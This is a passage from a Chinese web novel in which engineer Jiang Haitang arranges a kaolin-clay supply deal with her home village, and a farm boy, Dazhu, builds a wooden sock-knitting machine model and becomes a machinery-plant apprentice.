蔡婶子笑着招手:“都进来吧!海棠姐姐带糖来了!” 姜海棠想起来随身的包里还装着一些水果糖,她连忙打开随身带的布包,把糖分给孩子们。 一个小女孩怯生生地问:“城里是不是有会自己跑的铁牛?” “那叫拖拉机。”姜海棠蹲下身给她整理衣领,“等咱们清水沟大队有钱了,也能买。” 赵志坚看着这一幕,立即起身:“我这就去敲钟开大会!这么好的事,今晚就定下来!” 傍晚的打谷场上,全村老少都聚集在一起。 今晚的月亮很圆很亮,是以,整个打谷场上都亮亮堂堂的。 姜海棠站在月光下,详细讲解了合作方案。 村民们议论纷纷,有个老爷子颤巍巍地举手:“海棠丫头,挖了土会不会影响咱村的风水?” 姜海棠早有准备:“您老放心,我们只取鬼见愁,剩下的土不动,说不定,把这层鬼见愁挖了,以后这一片还能种庄家呢。” 赵志坚接过话头:“那‘鬼见愁’附近本来就不长庄稼,现在能变废为宝,给咱们大队换点钱是祖宗保佑!” 投票时,全队一百三十七户人家,一百三十六票赞成。唯一没举手的是耳背的刘奶奶,老太太耳聋好些年了,虽然来参会了,但压根没听清讨论啥。 等她看到大家都举手的时候,才要举手,已经统计结束了。 散会后,赵志坚拉着姜海棠的手说:“明天我就利用农闲时间组织青壮劳力开工!你放心,咱们清水沟人做事最实在!” 月光下,姜海棠望着村民们欢天喜地回家的身影,心里满是感动。 小陈走过来轻声说:“姜工,咱们也该回招待所了。” 蔡婶子听了,忙拉住姜海棠说:“海棠,你就别回招待所了,怪远的,今晚和婶子睡一屋,咱们好好唠唠。” 姜海棠为难地说:“婶子,我们好几个人呢。” 蔡婶子说:“让你叔和大柱两个去别人家住,你那几个同事住一屋,我们家炕大,能住下。” 姜海棠想着明天一早还要来,便和老周商量。 老周也同意,招待所镇上没有,得去县里,实在有些远。 第203章 贴心话 姜海棠见老周同意,脸上绽放出笑容,眉眼弯弯,浅浅地笑着对蔡婶子说道:“那今晚就麻烦婶子了。” 姜海棠的声音清脆悦耳,蔡婶子能听出来和当初在李家时候的疲惫不堪不一样。 她不由在心里感慨,到底是日子过舒心了啊。 蔡婶子喜出望外,脸上的笑容都快溢出来了,眼睛眯成了一条缝,连忙伸手拉住姜海棠的手,热情地往屋里拽。 “大柱他爹,你快去三叔公家借宿一晚!大柱,你去你二叔家睡!”那声音又高又亮,满是欢喜。 赵大山听到妻子的吩咐,二话不说,转身就快步走向里屋去收拾铺盖,动作麻溜又迅速。 大柱却没有立即去收拾铺盖,而是带着一脸憨厚的笑容,慢悠悠地凑到蔡婶子和姜海棠跟前。 他挠了挠头,那一头乌黑的短发被他挠得有些凌乱,黝黑的脸上泛着质朴的光。 姜海棠对勤劳肯干的大柱印象挺好。 见大柱凑过来,笑着问道:“大柱,最近在忙什么呢?” “就是种地呗。海棠姐,你在纺织厂工作?是不是有很多新奇的机器?” 姜海棠倒是很意外大柱竟然对这些有兴趣,随即好奇地问道:“你对机械有兴趣?” 大柱的脸一下子红了起来,像是被夕阳染上了色彩,有些不好意思地点点头。 “喜欢,但没见过厂里的先进机器。上次去你们厂,就只听到机器轰鸣的声音了。”他说话的时候,脸上都是心之向往的表情。 “我们厂进了几台新式织袜机,可先进了。要是你能争取到帮厂里送土的活,我就带你去看看。”姜海棠眼中带着鼓励,看着大柱说道。 大柱的眼睛一下子亮了起来,就像夜空中闪烁的星星,满是惊喜与期待。 “真的吗?海棠姐,你说的织袜机,是不是那种能自己织出袜子的机器?” “对,就是那种。一台机器一天能织上百双袜子,而且花纹样式都能自动变换。” 她的手在空中上下舞动,试图让大柱更直观地理解。 “这么厉害!”大柱不禁惊叹道,嘴巴张得大大的,满脸的不可思议,“那得多少人看着机器啊?” “一个人照看一台就行了,不用太多人。”姜海棠笑着回答,笑容里带着几分自豪。 蔡婶子也听得入神,眼睛直直地盯着姜海棠,嘴里念叨着:“哎哟,那以后咱们是不是也能穿上机器织的袜子了?” “当然可以。不过现在织袜机还没有正式投产,再过几个月肯定能在供销社买到。”姜海棠点点头,肯定地说道。 大柱又问:“海棠姐,你说……咱们大队能不能也弄台这样的机器?” 姜海棠有些意外,微微挑起眉毛,问道:“你想办厂?” 大柱不好意思地搓着手,手上因为常年劳作布满了老茧。 “我就是想着,要是能学会用这些机器,以后说不定能让咱们大队的日子好过些,我们大队太穷了,隔壁大队有拖拉机,我们都没有。” 说到后面,他的声音渐渐低了下去,带着一丝无奈与不甘。 姜海棠从这个年轻人的脸上看到了不屈。 她想着,上辈子,大柱的日子是什么样的? 改革开放之后就去了城里,好像闯出了一点名堂,蔡婶子和大山叔两口子也被接走了,再后来,她忙着养活那一家子人,淡了联系,也就不知道他们的情况了。 蔡婶子拍了下儿子的后背,语气里带着几分嗔怪:“你这孩子,尽想些不切实际的!有这时间,多挖点儿土给你海棠姐他们送过去,年底也能多分几毛钱。” 姜海棠听了这话,心里有点心酸。 她太清楚清水沟大队的情况,这里每年年底分的粮食,都不够一家子人一年四季嚼用的,更别说分钱了。 村民们每天起早贪黑地劳作,却依旧难以摆脱贫困的生活。 所以,才会连一吨土五块钱这样的活儿都愿意干。 “大柱,你的想法很好,我回头带你去看机器,你要是能看明白,我就给你个机会到厂里学习。” 姜海棠认真地看着大柱,眼神里满是真诚。 “真的可以?”大柱激动得声音都有些颤抖了,眼里闪烁着希望的光芒。 “不过,你只是去学习,没有工资,你愿意不?”姜海棠接着说道。 蔡婶子迟疑了,她心里明白,这么大的一个小伙子,要是不上工,工分肯定要受损失。 可看着儿子两眼闪闪发光,满是期待的样子,那些阻拦的话到了嘴边,到底也没说出来。 大柱激动得差点跳起来,双手紧紧地握在一起,声音高亢地说:“真的吗?海棠姐,我能去学吗?” “得看你自己的表现,现在国家提倡发展社队企业,如果你能学会,就有机会。”姜海棠耐心地解释道。 蔡婶子看着儿子期待的眼神,心里叹了一口气,还是决定帮儿子说说话:“海棠啊,要是真能成,你可要帮帮这小子。他从小就喜欢捣鼓这些机械玩意儿。能不能学会,都让他试试。” 姜海棠便开始给大柱讲起织袜机的原理,她讲得很仔细,从机器的构造到运转的原理,再到如何操作,每一个细节都不放过。 大柱听得更认真,眼睛一眨不眨地盯着姜海棠,生怕错过任何一个字。到了后来,大柱干脆拿出本子和纸,快速地记录起来。 两个人一个说一个听,时间就在这热烈的交流中不知不觉地过去了。 还是蔡婶子看了看天色,发现已经很晚了,这才催促两个人睡觉。 大柱这才意犹未尽地放下笔,离开去寻住处。 走的时候,他还一步三回头,满是不舍。 蔡婶子一边铺炕一边感叹:“这孩子,打小就对那些个铁疙瘩着迷。十岁那年偷偷把大队里的打谷机拆了又装上……” 姜海棠还记得这事儿呢,听蔡婶子提起来,不由笑出了声。 “我记得,当时大山叔追着大柱围着大队跑了两大圈,大柱挨了好一顿打,走路都一瘸一拐的。” 想起当时的情况,蔡婶子也笑了。 两个人躺下来,姜海棠帮蔡婶子抻平被角,动作轻柔又贴心:“大柱有天赋。” 躺在炕上,盖着晒得一股阳光味道的被子,姜海棠望着窗外的月光,心里已经有了打算。 “海棠啊,你在城里过得好不?有没有人欺负你?”蔡婶子不知道姜海棠想些什么,她问出了今天一直想问的问题。 姜海棠轻轻摇摇头,脸上带着一抹淡淡的微笑:“厂里的人都很好。” “我听说,李家人犯事儿,不会影响到你吧?”蔡婶子又问道,语气里带着一丝忐忑。 “我和他们早就断了关系,没有影响到我。”姜海棠平静地回答。 如果不是她对厂里有功劳,又是亲手抓的李胜利,说不定还真的会影响到她。 听到姜海棠这个回答,蔡婶子才安心了许多,她一直悬着的心终于落了地。 从听说李家出事,她就一直担心姜海棠会不会被牵连,这些天总念叨着。 “海棠啊,你有没有找个对象,你还年轻,可不能因为……”蔡婶子欲言又止。 “婶儿,我已经订婚了,后半年就结婚。”姜海棠红着脸说道。 “谁啊?小伙子长得好不好?”蔡婶子急切地问,眼神里满是好奇。 “您见过,就是上次来过咱们大队的陆厂长!”姜海棠有些羞涩地说。 蔡婶子眼睛一亮,脸上露出惊喜的笑容:“陆厂长?上回大柱回来说,陆厂长对你好,猜着你俩有戏,我还骂他,没想到是真的。” 高兴过后,蔡婶子又忧愁起来:“海棠啊,他家里啥情况,条件好不好?会不会嫌弃你?” 姜海棠脸更红了,轻声说:“他家里情况挺好的,我见过他们家的长辈,对我也挺好。” “哎呀!这可是好事!你要是能找个这样的对象,婶子就放心了!”蔡婶子一拍被子,声音都大了起来,“果然有福之女不进无福之门。” 那李家放着这么好的媳妇不要,活该他们倒霉! “婶儿回头就给你做鞋、做垫鞋子,还要再绣上一对儿枕头套子……”蔡婶子兴致勃勃地说着,仿佛要打发闺女出嫁的老母亲一样。 听着蔡婶子这些暖心的话,姜海棠忽然就轻轻笑了。 隔壁屋里的老周和小陈三个,也在说蔡婶子一家人。 老周、小吴和小陈还有小李几人挤在炕上,因为地方狭窄,大家都有些局促。 小陈裹了裹被子,把自己裹得像个蚕蛹,嘟囔着说:“小吴师傅,你不是说,清水沟的人特别难缠吗?我看着还行吧。” “那是你没见上次我们来的时候,要不是陆厂长,姜工估计都回不去了。”小吴撇撇嘴说,脸上还带着一丝不满。 “是不是被什么人给煽动了?”小陈好奇地问。 “可不,就李胜利的老娘和妹妹,她们煽动了几个光棍,说要把姜工许配给几个光棍当媳妇,那几个人,当场就和疯了一样……” 小吴想起来的时候,还恨得牙痒痒,脸上的表情都有些扭曲了。 “那就不奇怪了,你家里是城里的,不知道乡下娶不到媳妇的光棍们有多疯狂,白得一个媳妇的机会,没有几个人会放弃。”老周叹一口气说:“早几年,我老家那里,有一家子男人死了,把男人埋了的当天晚上,女人就被抢走了,村子里的人也是睁一眼闭一眼,都是穷给闹的。” 第204章 人心换人心 小吴没说话,老周接着说:“清水沟应该也有坏人,可这世上,哪里没几个坏种?但大部分人是好人就不错了。今天听说能卖土赚钱,全村人都高兴得跟什么似的。老百姓图什么?不就图个温饱嘛!” 小陈翻了个身,插嘴道:“我觉得这里的人挺好的。你们看蔡婶子一家,多实在啊!姜工不是还说过,以前李胜利不在,他们家老的小的瘫的,就靠邻居们接济才能活下来。” “行了行了,咱们赶紧睡觉吧!”老周打了个哈欠,打断争辩,“明天还要早起。” 几个人渐渐安静下来,屋子里只剩下轻微的呼吸声。 屋外,月光洒落,如水般温柔地笼罩着整个村庄。 偶尔传来几声虫鸣,在这寂静的夜晚显得格外清晰,衬得夜色更加静谧安逸。 而此时,同一片月光下,在二叔家借宿的大柱也辗转难眠。 他躺在炕上,翻来覆去,脑海里全是姜海棠说的那些先进机器。 他是真的兴奋,兴奋自己能有个好机会看看真正的先进机器。 这个晚上,大柱做了一个梦,梦见自己真的搞出了织袜机,让清水沟的人都过上了好日子。 大家脸上都洋溢着幸福的笑容,村子里盖起了新房,孩子们在宽敞的操场上快乐地玩耍…… 早上起床,阳光已经透过窗户洒在屋子里。 姜海棠帮着铺炕,动作娴熟又利落。 将被子折好,她看到炕上放着几个精致的荷包,眼睛一下子被吸引住了。 “婶子,您这荷包绣得真好看。” 那荷包绣工精细,上面的图案栩栩如生,一看就知道花了不少心思。 蔡婶子笑得眼睛眯成一条缝,脸上满是自豪:“这是闲暇时候做的,里面装了些熏蚊子的草药,你带回去,我听说,城里的蚊子比咱乡下的毒。” 姜海棠被蔡婶子的话给逗笑了:“婶儿,那不能,城里的蚊子和咱们乡下的差不多。” 两人正说着话,外面传来一阵脚步声,由远及近,间或还有女人们叽叽喳喳的声音。 原来是赵大山带着几个邻居来了,他们手里还提着篮子,拎着这种东西。 “海棠啊,你今天就要回去了?我们来看看你,也给你道个歉。” 说话的是二赖子的本家婶子,叫康生芳,二赖子的爹娘都没了,最亲的就是几个本家叔叔。 姜海棠听了她这话也明白她话里的意思。 “婶子您客气了,到底也不是您生的,您没错。”姜海棠温和地说。 姜海棠对二赖子自是不会有什么好印象,但康生芳这个人还不错,她没打算迁怒。 “上次你回来的时候,我正好不在,要是在,多少要管着点。”康生芳有些愧疚地说。 话虽然如此说,但姜海棠清楚,康生芳肯定管不了二赖子,毕竟,二赖子的亲娘都管不了他,就别说本家婶子了。 “这是自家种的萝卜,刚拔的,脆着呢!”康生芳说着,就将一个大大的篮子放在姜海棠的面前。 篮子里不光有萝卜,还有一捆韭菜和一大把的小白菜,水灵灵的,看得出来,刚从地里拔出来,还带着泥土的芬芳。 不等姜海棠拒绝,又有一个大婶也递过来一个陶罐。 “这是家里自己做的醋,给你带上!”大婶热情地说。 不一会儿,姜海棠身边就堆满了乡亲们送来的土特产。有新鲜的蔬菜、自家腌制的咸菜、手工制作的鞋垫……每一样都饱含着乡亲们的热情与心意。 姜海棠连忙推辞:“大家太客气了,我不能要……” “这有啥!你给咱村带来这么好的事儿,大伙儿都念着你的好呢!”九婶子布满老茧的手轻轻拍着姜海棠,眼角笑出细密的皱纹。 “都是自己家里的东西,不值钱,你别嫌弃就好。”又有一个大娘说着又往姜海棠怀里塞了两个自家晒的干辣椒串,红彤彤的辣椒在晨光里泛着油亮的光。 这时,后山“鬼见愁“山坡上已经热闹非凡。 赵志坚戴着褪色的草帽,站在土坡高处扯着嗓子喊:“大伙儿加把劲!先把表层浮土清掉!” 二十多个精壮汉子挥着锄头,铁锨与山石碰撞出清脆的声响。 小陈和小马刚要蹲下取样,大柱一把抢过他们手里的铁铲:“使不得使不得!这石头碴子扎手!” “你们歇歇,这些粗活,我们来就行。”热情的村民根本不给两个人动手的机会。 话音未落,三五个村民已经围上来,有人递水壶,有人帮忙撑开编织袋,转眼间就挖出满满一箩筐带着湿气的高岭土。 看着大家干活认真,赵志坚嘿嘿笑着,卷起裤腿露出被茅草割破的小腿。 “两位同志,昨儿个我们连夜把这块地收拾出来,草都刨到根儿了!这样速度能快点。” 赵志坚指挥人帮忙抬土下山,给姜海棠看。 姜海棠检查了土壤质量,满意地点头:“大家干活真仔细,一点杂质都没有。” “那当然!”赵志坚骄傲地说,“咱们清水沟人做事,从来不含糊!” 不要说这活能让大队里的人赚钱,就算不赚钱,赵志坚也得督促人干好。 好不容易出了个姜海棠,还因为之前的事和大队生了嫌隙,这一次可是难得修复关系的机会。 姜海棠他们带着高岭土回到厂里,吉普车上,除了卸下来一筐高岭土之外,剩下的都是村民们硬塞给姜海棠的东西。 姜海棠看着这么多的蔬菜,最后还是给要好的几家人都分了一些。 刘红梅笑道:“果然此一时彼一时,上次我们去的时候,差点儿出不来村子,这一次你成了贵人了,带回来这么多的好东西。” 姜海棠笑道:“可不。其实仔细想想,都是穷闹的,要是日子过的好,上次那样的事儿肯定不能发生,同样的,他们也不会因为厂里要采购这些土壤就对我这样客气。” 接下来的时间,姜海棠组织小组成员们实验这批高岭土。 经过三天紧张的化验和测试,结果令人振奋,清水沟的高岭土纯度高达92%,完全符合他们的要求。 “太好了!”姜海棠看着实验报告,脸上露出欣慰的笑容,“这下我们的研发可以持续推进了,清水沟的土可以支持我们未来很长时间的需求了。“ 陆良辰接过报告仔细查看,也不由点头:“等他们来送土的时候,先把合同签了。” “好,良辰,我还得去一趟机械厂,我有事儿找毛厂长商量。”姜海棠心里还记挂着大柱的事儿呢。 “怎么忽然要去机械厂?”陆良辰问。 姜海棠咬着下唇,把大柱的事细细说了,末了补充:“蔡婶子当年背我走十几里山路看病,这份恩情我不能忘。” 陆良辰望着她认真的模样,脸上都是温柔的笑。 他的小姑娘啊,是个记得别人恩情的。 “你给毛厂长说,一定能答应。”陆良辰赞许道 三天后赵志坚带着清水沟的几个壮小伙用牛车拉着五吨高岭土到了纺织厂。 周小梅带着人去验了品质,确定没问题。 姜海棠便带着赵志坚去签合同了。 签完合同后,赵志坚拉着姜海棠的手说:“海棠啊,叔代表全大队谢谢你!” 姜海棠其实有点不好意思,这真的就是辛苦钱,毕竟,五吨土才三十块钱,平摊到各家各户少得可怜。 “大队长,您别这样,也是我们厂里正好有需求。”姜海棠忙说。 “这五吨土够我们大队换多少盐巴,够给村里娃买多少作业本啊!” 三十块钱不多,但后续还能继续提供啊,那就能不断赚钱了。 就在这时,大柱挤过人群跑过来:“海棠姐,那个……” 小伙子红了脸,老半天讷讷地没有说出自己的诉求。 姜海棠笑着拍拍他的肩膀:“没忘,我和机械厂那边商量好了,等下就带你去机械厂车间参观。” 大柱激动得脸都红了,半天都没反应过来,竟然是要去机械厂吗? 赵志坚看着大柱这样,多嘴问了一句:“海棠,大柱要去机械厂干啥?” “我之前答应大柱,让他去机械厂那边看看。” 对此,赵志坚只有羡慕,没有嫉妒。 赵志坚望着两人远去的背影,想起三年前那个雪夜,蔡婶子背着烧得说胡话的姜海棠看病的身影。 其他年轻人看着姜海棠和大柱远去,都是羡慕。 但姜海棠并没有邀请其他人一同去,他们也不能就这么跟上去。 赵志坚等看不到姜海棠和大柱两个人,此转头对围观的年轻人说:“都学着点,人心都是肉长的。” 其他年轻人深以为然,蔡婶子家里对姜海棠确实好,所以,姜海棠对大柱好也是应该的。 有些人忍不住后悔,早知道,就该在姜海棠日子艰难的时候帮一帮,说不定,现在也能换得一个机会。 可现在再想这些,已经来不及了。 有些事,错过了就是错过了。 第205章 参观学习 姜海棠带着大柱走进机械厂的大门时,大柱的脚步突然顿住了。 他抬头仰望,三层楼高的烟囱吞吐着灰白烟雾,轰鸣声震得脚下碎石微微发颤。 虽然还没进门,但也能看到厂区内部,这里和他们清水沟完全不同,大柱喉结上下滚动,手心沁出一层薄汗。 “怎么了?” 姜海棠转身时,大柱正用补丁摞补丁的袖口狠蹭掌心,指节泛着青白。 大柱攥紧了衣角,声音有些发颤:“海棠姐,我……我有些害怕,这是啥厂子啊,我去了合适吗?” “这是机械厂,织袜机是机械厂生产的,你在这里可以看得更仔细。” “不会给你带来麻烦吧?海棠姐。”大柱搓着衣角,低垂着脑袋,不敢看姜海棠。 “没事,我和机械厂的毛厂长说好了的,咱们只管进去就行。” 姜海棠正在安抚大柱,忽然身后传来小汽车的声音,姜海棠回头一看,可不就是毛厂长吗? “海棠,你来了,这位就是你说的要带来参观的小同志?”毛厂长摇下窗户问。 “是的,毛厂长。”姜海棠展露笑脸说。 “上车,我带你们过去。陆厂长也真是,就不能安排车送你们来一趟?海棠,要不要考虑下,来我们厂里坐班,偶尔去纺织厂?” 虽然明知道不可能,但毛厂长觉得还是应该问问。 姜海棠笑一笑,没有回答毛厂长的话,不过,她也没客气,拉着大柱就上车。 大柱却更加局促了,膝盖重重磕在门框上都没发觉,这可是小汽车呢,他还是第一次坐。 还有这位同志,海棠姐叫他毛厂长,那就是当官的了,应该比他们公社的书记级别高多了吧? 上了车,大柱一双手都不知道该放在什么地方了,脊背挺直,一句话都不敢说,唯恐说错了什么给姜海棠带来麻烦。 厂区道路蜿蜒如迷宫,大柱死死攥着座椅边缘。 姜海棠和毛厂长很随意地说着话,毛厂长还有其他事儿,在厂办楼下了车,安排司机送他们去车间。 当车停在铸造车间外,热浪裹胁着刺鼻的硫磺味扑面而来,大柱差点被呛得后退,好些个工人正在车间里忙碌着。 如此火热的场景,这让大柱整个人都放松了下来。 到了车间里,大柱的眼睛渐渐亮了起来。 他盯着铁水出神,连飞溅的火星烫到手臂都没察觉。 在机加工车间,车床的嗡鸣震颤着空气。大柱蹲在一台老式车床前,专心致志地用手指悬空描摹着刀具轨迹。 彼时,顾昀笛正好在一旁,大柱的表现被他看到了,笑着说:“这小伙子有点意思,看机器的眼神,跟老匠人看传家宝似的,眼神清澈明亮。” 姜海棠看着大柱笑道:“自小就喜欢这个,十岁的时候,就把村子里唯一一台打谷机够拆了,这也就算了,还能囫囵装起来。” 听到十岁就能拆了打谷机重新组装,顾昀笛也有些震惊,虽然说打谷机的原理比较简单,但对方只是个十岁的孩子,还是个乡下孩子,这就难能可贵。 顾昀笛来了兴趣,走过去问大柱:“你盯着这台铣床看了十分钟,说说,铣刀为什么要斜着装?” 大柱的喉结剧烈滚动,目光扫过铣床底座交错的齿轮,好像看到了清水沟老井旁生锈的轱辘,转动时总把井绳往侧边带。 “是……是为了让铁屑顺着斜度掉出去!”迟疑了好一会儿,最终大柱还是按照自己的想法说了,“就像我们挖水渠,得把土甩到沟外头!” 顾昀笛推眼镜的手顿了顿,他看向大柱的眼睛里闪着光芒。 “小伙子,你今天最想看什么机器?” “织袜机!”大柱回答得很坚决。 顾昀笛说:“走,我们看织袜机去。” 顾昀笛的办公室里就有一台拆成零件的织袜机,顾昀笛给大柱看了图纸,然后又当着大柱的面将织袜机的各个零部件一样样地装起来。 那些交错的连杆、咬合的齿轮,看得大柱整个人兴奋且激动,手指不受控地微微发颤。 “这个弹簧……”他突然开口,想说什么,却又极快的住嘴,慌忙咬住下唇。 顾昀笛鼓励的目光让他鼓起勇气继续说。 许是顾昀笛表现得十分平和,大柱很快也就不局促了,而是放轻松和顾昀笛说话。 虽然大柱说的很多话都不一定对,但顾昀笛却从中感觉到了,这个小伙子是个很有天分的。 “小伙子,明白了吗?”顾昀笛问。 “你好,我,我有些没明白,有些明白了。”大柱有些磕磕巴巴的,说话都不连贯了。 “你很不错,不懂的你可以问我。” 大柱高兴坏了,忙连连感谢顾昀笛。 姜海棠没有开口,只是继续看他们。 “要是让你自己制作,你能制作出来不?”顾昀笛故意问。 大柱挠挠头:“应该不能吧!这个我没学过!” 姜海棠笑着摇摇头:“您太难为他了,他可从来都没接受过系统学习。” 顾昀笛看看姜海棠再看看大柱,对姜海棠说:“说不定,你看走眼了。” 暮色漫进办公室,姜海棠提出要回去。 毛厂长安排了车等着送他们,顾昀笛和大柱在车上的时候,又聊了不少。 回到纺织厂招待所,大柱还很激动,激动得翻来覆去睡不着。 其他小伙子羡慕地说:“大柱,你去机械厂都看到啥了?” 大柱猛地从床上坐起来,眼睛在黑暗中闪闪发亮:“看到啥?看到铁水像糖稀一样流进模子里,看到车床一转就能削出亮闪闪的零件!” 他的声音因为激动而微微发抖,同屋的小伙子们也都坐起身,黑暗中传来窸窸窣窣的响动。 “那个云老师还给我看了织袜机的图纸,”大柱比画着,“上面画着各种齿轮咬合的样子,就跟……就跟……” “跟啥?”半晌等不到大柱说出后面的话,有性子急的人已经等不及开口问了。 大柱突然跳下床,光脚踩在水泥地上,从包袱里摸出个小本子:“你们等着!” 他打开明亮的白炽灯,用铅笔在本子上飞快地画起来,铅笔摩擦纸面的沙沙声在静夜里格外清晰。 不一会儿,他把本子举起来:“看,就是这样!” 几个脑袋凑在一起,只见纸上画着几个精巧的齿轮咬合示意图,旁边还标注着尺寸。 可是,他们都看不懂这是个什么。 “这……这真是你看过就记住的?”有人倒吸一口凉气。 大柱不好意思地挠头,语气有些暗淡下来。 “有些地方记不清了,我瞎画的。” “这都已经很不容易了。” “大柱,没看出来,你小子这么厉害呢?” 几个人说话的声音大起来,房门突然被敲响。 “这么晚了还不睡?我们明天一早就要回去。”是赵志坚的声音。 屋里瞬间鸦雀无声。 大柱慌忙把本子塞到包里,快速地爬回床上。 躺在招待所的床上,第二天回到家里,天色已经晚了,可大柱却说要去山上找点木头。 赵大山问:“你要木头干啥?” “爹,我想着用木头试试,能不能做出一个小型的织袜机。” 赵大山听着儿子这不切合实际的想法,摇摇头,这傻儿子,太天真了,哪有这么容易啊。 要是这么容易,岂不是人人都去城里当工人了? 但看着儿子亮晶晶的眼睛,到嘴边的训斥又咽了回去。 孩子年龄还小,让撞撞南墙也好,省得将来回想起来后悔。 “去吧,别耽误明天上工就行。”赵大山摆摆手。 大柱像得了特赦令,抓起斧头就往山上跑。 月光下,他选中一棵歪脖子枣树,认真地砍下几根粗细不一的枝干。 接下来的日子,大柱像着了魔,白天跟着大伙儿在“鬼见愁“挖土,收工后就躲在仓房里鼓捣木头。 蔡婶子每晚都能从儿子衣服上抖落一层木屑,真是又好气又心疼。 “这孩子魔怔了,”蔡婶子忧心忡忡地对赵大山说,“昨儿半夜我起夜,看见他还在油灯下刻木头,手指头都磨出血了。” 儿子上进是好事,可看着他这样没白天没黑夜,一双手上都是伤疤,当妈的还是心痛。 赵大山蹲在门槛上吧嗒旱烟,烟锅里的火星明明灭灭。 第二天,他从供销社回来,扔给大柱一个小布包:“给,供销社新到的刻刀。” 大柱打开一看,眼睛顿时亮了,三把锃亮的刻刀,刀柄上还缠着防滑的麻绳。 刀柄的防滑麻绳,是他一点点缠上去的,每一道纹路都浸透了老茧的温度。 “爹……” “别磨蹭了,你娘蒸了馍馍,趁热吃。”赵大山转身往外走。 大柱立即冲着赵大山的背影喊道:“爹,谢谢你!” “我是你老子,和我客气啥!”赵大山嘴里说得平静,但走路的姿势都有点不一样了。 这些姜海棠都不知道,他们这段时间也非常忙,因为姜海棠要参加广交会,因此,新材料的研发就要加班加点地搞起来。 好在,他们这个研究小组人虽然少,但都是精兵强将,每一个人都非常努力。 终于,在四月头上,他们的研究出的新型防水防潮防火的军用材料研究得差不多了,虽然还没到能够量产的地步,但已经可以顺利通过实验了。 姜海棠连欢呼庆祝都来不及,将这边的事情交给黎景程等人之后,投入到了广交会的筹备工作中去。 参加广交会的工作人员统一买票,四月十一日集体出发,走的时候,要带不少的东西,因此,提前要做的准备工作非常多。 就在姜海棠忙忙碌碌的时候,大柱那边也终于见到效果了。 这日,大柱神秘兮兮地把父母叫到仓房,一个一尺来长的木制织袜机模型静静摆在木板上。 第206章 哗然 “大柱,你忙了这么长时间,就弄出这么个东西?”蔡婶子围着看了好一会儿,才问。 “娘,你可别小看这个,这是个小型号织袜机,能动。”大柱激动的说。 “这……这真能动?”蔡婶子不敢相信地问。 大柱深吸一口气,轻轻转动模型侧面的把手。 随着一阵咔嗒声,木制的针床竟然真的上下摆动起来,一根麻线被勾着穿梭,渐渐织出一小段粗糙的布片。 是的,不是袜筒,而是布片。 “我也不知道哪里出问题了,没有办法弄出制成圆形的筒,只能织成布片。” “哎呦,儿子,你真是出息了,咱们大队可没有人能搞出这个。”蔡婶子用力地拍了一下儿子的肩膀,夸赞说。 赵大山没有说话,但手却在微微发抖,没想到,儿子竟然真的能搞出这么个东西。 只可惜,他们是乡下人家,要是儿子生在城里,说不定能更有出息一点。 “我想着,过两天送土的时候,带着去问问海棠姐,到底是个啥情况。”大柱觉得,既然自己弄不出来,还是要请教别人。 “今天你没上工,大队长说,明天一早就去送土,你想去就准备准备,等下我找大队长给你说说去。” 第二日,天还没亮,大柱用一块麻布仔细包好模型,跟着大队长心怀忐忑地去纺织厂。 姜海棠知道清水沟的人来了的时候,还挺惊讶的,她以为,距离下一次送高岭土过来,总要等上一段时间。 姜海棠正打算过去的时候,大柱找过来了。 看着大柱怀里抱着东西,姜海棠问:“这是什么?” “海棠姐,我有事要请教你。”大柱局促地说,一双眼睛都不敢看姜海棠。 “什么?你说。” “海棠姐,我自己用木头做了这个,可不知道为啥,就是织不出筒……” 大柱觉得,自己是不是太笨了,明明之前云老师给自己讲解的已经很详细了。 姜海棠没听明白大柱说了什么,当她看到大柱将麻布片打开后,吓一跳。 这分明就是一个木头制作的小号的织袜机啊。 模型不过一尺见方,但每个活动部件都精准还原,连最细微的导纱钩都雕刻得纤毫毕现。 最让姜海棠震惊的是,转动把手时,针床居然真的能动。 “我的天!”姜海棠惊呼,“这真是手工做的?” “我做得不好,织不出袜子。”大柱耳朵都红了:“我才来找你的。” 姜海棠立即给机器装上了线,然后尝试摇动把手。 “我这个没有办法用电,我就自己加装了把手……” “大柱,你太棒了,你等等,我给机械厂打个电话。” 姜海棠说完,一溜烟的去厂办给毛厂长打电话。 不到半小时,毛厂长就带着顾昀笛和向文涛匆匆赶来。 “小子,再演示一遍。”毛厂长的声音有些发抖。 大柱的手心全是汗,差点握不住把手。 但随着模型运转起来,他的眼神越来越专注,甚至开始解释每个部件的原理。 毛厂长和顾昀笛交换了一个眼神。 这小伙子,人才啊,真没想到,小小的清水沟藏龙卧虎,先出现了姜海棠这么一个妖孽,后面又出现大柱这么一个人才。 毛厂长抓住大柱的肩膀,“小伙子,你这个机器,这里有些不对,受力不对,要是真机早散架了。” 大柱脸瞬间红了,却见毛厂长突然大笑:“不过,你第一次能做成这样已经很好了,想不想来我们厂里跟着云老师学本事?” 大柱没有反应过来,还在想着怎么继续改进机器。 “小伙子,当学徒工,你愿意不?要是愿意,你就跟着云老师。”毛厂长又问了一遍。 大柱不懂学徒工是个什么意思,当场就愣住了。 看到大柱不说话,毛厂长以为大柱对于不是正式工不满意,忙说:“不是不给你更高的待遇,是我们厂里还得研究,然后才能招工,等程序走完,你就是我们厂的正式员工了。” 这一次,大柱听明白了,他立即看向姜海棠。 姜海棠笑着说:“还愣着干嘛?这可是天大的好事儿,以后,你就是机械厂的工人了!” 大柱脸上这时候才浮现出笑容,他咧着大嘴傻笑。 “毛厂长,云老师,以后大柱就要拜托你们了。我们乡下的孩子,淳朴老实,要是有做的不好的地方,也请你们多多包涵。”姜海棠客客气气的说。 “海棠啊,还要感谢你,给我们送来这么一个好小伙儿,培养培养,肯定是可造之材。” 赵志坚听到这个消息的时候,心里百味杂陈。 他又是高兴又是嫉妒,高兴的是大队里的娃娃有出息了,大柱这小子,能去大厂里当工人了,遗憾的是,怎么就不是自己的儿子呢? 要是自家小子也有这样的出息,他才高兴呢。 但他还是拍着大柱的肩膀直笑:“好小子!给咱清水沟长脸了!” “都是海棠姐帮我,要不,我连机械厂的门都进不去。”大柱诚恳地说:“海棠姐,谢谢你了,我以后一定报答你。” “你好好干就行了,别让人家说,咱们清水沟出来的都是孬人。” 大柱立即点头:“我一定好好努力,绝对不让别人笑话。” 第二日,大队长赵志坚带着其他年轻小伙子回去了,大柱直接留下了。 姜海棠帮着大柱置办了被褥等日用品,又仔细叮嘱大柱一番之后,这才回去继续忙。 蔡婶子看到大队长回来,没看到自己儿子,吓了一跳,以为儿子惹祸了,忙上前询问情况。 “大山媳妇啊,你们家可是祖坟冒青烟了,大柱这孩子,被招工了,虽然暂时是学徒工,可那个毛厂长说了,过段时间就转正,就是正式工人了。” 赵志坚说这一番话的时候,语气还有一点酸酸的。 